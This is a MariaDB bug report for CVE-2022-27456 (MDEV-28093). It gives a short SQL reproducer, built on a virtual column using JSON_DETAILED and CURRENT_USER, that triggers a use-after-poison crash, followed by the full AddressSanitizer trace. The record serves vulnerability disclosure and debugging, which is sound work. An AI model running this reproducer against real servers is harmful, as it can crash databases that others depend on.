CVE-2022-27456: [MDEV-28093] MariaDB UAP issue - Jira

CREATE TABLE v0 ( v2 INT PRIMARY KEY , v1 SERIAL NOT NULL ) ;

INSERT INTO v0 VALUES ( 16 , NULL ) ;

ALTER TABLE v0 ADD v0 FLOAT AS ( ( ‘x’ LIKE JSON_DETAILED ( ( CURRENT_USER * ( TRUE AND COALESCE ( 255 | TRUE , 0 ) = 127 ) ) ) ) ) ;

SELECT * , v1 IN ( ‘x’ ^ -128 , -1 ) FROM v0 AS v0 ORDER BY v2 FOR UPDATE ;

SELECT * , v2 IN ( ‘x’ ^ 45 , -1 ) FROM v0 AS v0 ORDER BY v2 ;

SELECT * FROM v0 WHERE NOT ( ‘x’ = v1 AND v2 = -1 ) ORDER BY v1 ;

SELECT * FROM v0 WHERE NOT ( ‘x’ = v1 AND v2 = 8 ) ORDER BY v1 ;

=================================================================

==8795==ERROR: AddressSanitizer: use-after-poison on address 0x62900008e140 at pc 0x0000012ea7a7 bp 0x7ff453054250 sp 0x7ff453054248

READ of size 8 at 0x62900008e140 thread T14

#0 0x12ea7a6 in VDec::VDec(Item\*) /root/mariadb/sql/sql\_type.cc:301:16

#1 0x16b8e06 in Arg\_comparator::compare\_decimal() /root/mariadb/sql/item\_cmpfunc.cc:854:10

#2 0x16be218 in Arg\_comparator::compare() /root/mariadb/sql/item\_cmpfunc.h:103:33

#3 0x16be218 in Item\_func\_eq::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:1762:18

#4 0x1315e0d in Type\_handler\_int\_result::Item\_val\_bool(Item\*) const /root/mariadb/sql/sql\_type.cc:5105:16

#5 0x16ec0f7 in Item\_cond\_and::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:5421:16

#6 0x178256d in Item\_int\_func::val\_real() /root/mariadb/sql/item\_func.cc

#7 0x178a856 in Item\_func\_mul::real\_op() /root/mariadb/sql/item\_func.cc:1362:48

#8 0x1783301 in Item\_func\_hybrid\_field\_type::val\_str\_from\_real\_op(String\*) /root/mariadb/sql/item\_func.cc:836:14

#9 0x127e866 in Item\_func\_json\_format::val\_str(String\*) /root/mariadb/sql/item\_jsonfunc.cc:3691:24

#10 0x16ee822 in Item\_func\_like::val\_int() /root/mariadb/sql/item\_cmpfunc.cc:5618:26

#11 0x164cc16 in Item::save\_int\_in\_field(Field\*, bool) /root/mariadb/sql/item.cc:6801:16

#12 0x164ce59 in Item::save\_in\_field(Field\*, bool) /root/mariadb/sql/item.cc:6811:30

#13 0x1072e98 in TABLE::update\_virtual\_fields(handler\*, enum\_vcol\_update\_mode) /root/mariadb/sql/table.cc:8757:37

#14 0x15ca0f7 in handler::ha\_index\_first(unsigned char\*) /root/mariadb/sql/handler.cc:3551:14

#15 0xe5db5c in join\_read\_first(st\_join\_table\*) /root/mariadb/sql/sql\_select.cc:22132:7

#16 0xd4c04d in sub\_select(JOIN\*, st\_join\_table\*, bool) /root/mariadb/sql/sql\_select.cc:21092:12

#17 0xdc6797 in do\_select(JOIN\*, Procedure\*) /root/mariadb/sql/sql\_select.cc:20640:14

#18 0xdc6797 in JOIN::exec\_inner() /root/mariadb/sql/sql\_select.cc:4749:50

#19 0xdc344c in JOIN::exec() /root/mariadb/sql/sql\_select.cc:4527:3

#20 0xd4e4e8 in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /root/mariadb/sql/sql\_select.cc:5007:9

#21 0xd4d74b in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /root/mariadb/sql/sql\_select.cc:543:10

#22 0xc74410 in execute\_sqlcom\_select(THD\*, TABLE\_LIST\*) /root/mariadb/sql/sql\_parse.cc:6252:12

#23 0xc609c9 in mysql\_execute\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:3943:12

#24 0xc4a67e in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /root/mariadb/sql/sql\_parse.cc:8027:18

#25 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#26 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#27 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#28 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#29 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#30 0x7ff477ffb608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

#31 0x7ff477d11162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86\_64/clone.S:95

0x62900008e140 is located 8000 bytes inside of 16400-byte region [0x62900008c200,0x629000090210)

allocated by thread T14 here:

#0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)

#1 0x2a76878 in my\_malloc /root/mariadb/mysys/my\_malloc.c:90:29

#2 0x2a582eb in root\_alloc /root/mariadb/mysys/my\_alloc.c:66:10

#3 0x2a582eb in reset\_root\_defaults /root/mariadb/mysys/my\_alloc.c:243:30

#4 0xae83b5 in THD::init\_for\_queries() /root/mariadb/sql/sql\_class.cc:1393:3

#5 0x111e580 in prepare\_new\_connection\_state(THD\*) /root/mariadb/sql/sql\_connect.cc:1240:8

#6 0x1120266 in thd\_prepare\_connection(THD\*) /root/mariadb/sql/sql\_connect.cc:1333:3

#7 0x111f8cc in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1408:9

#8 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#9 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#10 0x7ff477ffb608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

Thread T14 created by T0 here:

#0 0x7f9cfc in pthread\_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)

#1 0x1f3fd39 in my\_thread\_create(unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/storage/perfschema/my\_thread.h:52:10

#2 0x1f3fd39 in pfs\_spawn\_thread\_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15

#3 0x85cef4 in inline\_mysql\_thread\_create(unsigned int, unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/include/mysql/psi/mysql\_thread.h:1139:11

#4 0x85cef4 in create\_thread\_to\_handle\_connection(CONNECT\*) /root/mariadb/sql/mysqld.cc:5975:19

#5 0x85e72a in create\_new\_thread(CONNECT\*) /root/mariadb/sql/mysqld.cc:6034:3

#6 0x85e72a in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /root/mariadb/sql/mysqld.cc:6096:5

#7 0x85a34c in handle\_connections\_sockets() /root/mariadb/sql/mysqld.cc:6220:9

#8 0x84e9ef in mysqld\_main(int, char\*\*) /root/mariadb/sql/mysqld.cc:5870:3

#9 0x7ff477c160b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: use-after-poison /root/mariadb/sql/sql_type.cc:301:16 in VDec::VDec(Item*)

Shadow bytes around the buggy address:

0x0c5280009bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009bf0: f7 00 00 00 f7 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009c00: f7 00 00 00 00 00 00 f7 00 00 f7 00 00 00 00 00

0x0c5280009c10: 00 00 00 00 00 00 00 00 00 00 f7 00 f7 00 00 00

=>0x0c5280009c20: 00 00 f7 00 00 00 00 00[f7]00 00 00 00 00 00 00

0x0c5280009c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009c70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5

Stack use after scope: f8

Global redzone: f9

Global init order: f6

Poisoned by user: f7

Container overflow: fc

Array cookie: ac

Intra object redzone: bb

ASan internal: fe

Left alloca redzone: ca

Right alloca redzone: cb

Shadow gap: cc

==8795==ABORTING